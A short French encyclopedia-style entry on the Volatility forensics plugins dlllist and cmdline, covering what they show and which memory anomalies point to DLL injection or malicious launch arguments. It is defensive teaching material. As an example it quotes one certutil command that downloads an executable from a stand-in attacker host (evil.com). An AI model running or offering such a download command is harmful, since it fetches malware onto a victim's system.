Volatility dlllist cmdline

Définition

Les plugins dlllist et cmdline de Volatility permettent d'analyser en détail les processus identifiés lors de l'analyse mémoire. dlllist (windows.dlllist dans Volatility 3) liste toutes les DLLs chargées par chaque processus, révélant les injections de bibliothèques malveillantes. cmdline (windows.cmdline) affiche la ligne de commande complète avec laquelle chaque processus a été lancé, souvent révélatrice des intentions et techniques d'attaque. windows.dlllist analyse la structure PEB (Process Environment Block) de chaque processus pour extraire la liste des modules (DLLs) chargés dans le Load Order Module List. Pour chaque module, il affiche le nom, l'adresse de base en mémoire, le chemin complet sur le disque, et la taille. Les anomalies à rechercher incluent : des DLLs chargées depuis des chemins temporaires (TEMP, AppData\Local\Temp) plutôt que System32/SysWOW64, des noms similaires à des DLLs légitimes (ntdll_.dll, kernel32x.dll), des DLLs sans chemin correspondant sur le disque (indicatif de Reflective DLL Injection), et des modules avec une base d'adresse dans une plage inhabituelle. windows.cmdline extrait les arguments de ligne de commande depuis le PEB de chaque processus. Pour les malwares et les TTPs d'attaque, la ligne de commande est souvent très révélatrice : des arguments PowerShell encodés en base64 (-EncodedCommand, -enc), des chemins vers des fichiers temporaires suspects, des connexions réseau directes (certutil -urlcache -f http://evil.com/malware.exe), ou des options inhabituelles pour des processus systèmes (cmd.exe /c secret_command). La corrélation de dlllist et cmdline avec le résultat de pstree permet de construire une image complète de chaque processus suspect : d'où vient-il (parent), avec quels arguments a-t-il été lancé (cmdline), et quelles bibliothèques a-t-il chargées (dlllist). Cette vue combinée est essentielle pour comprendre la chaîne d'exécution d'une attaque.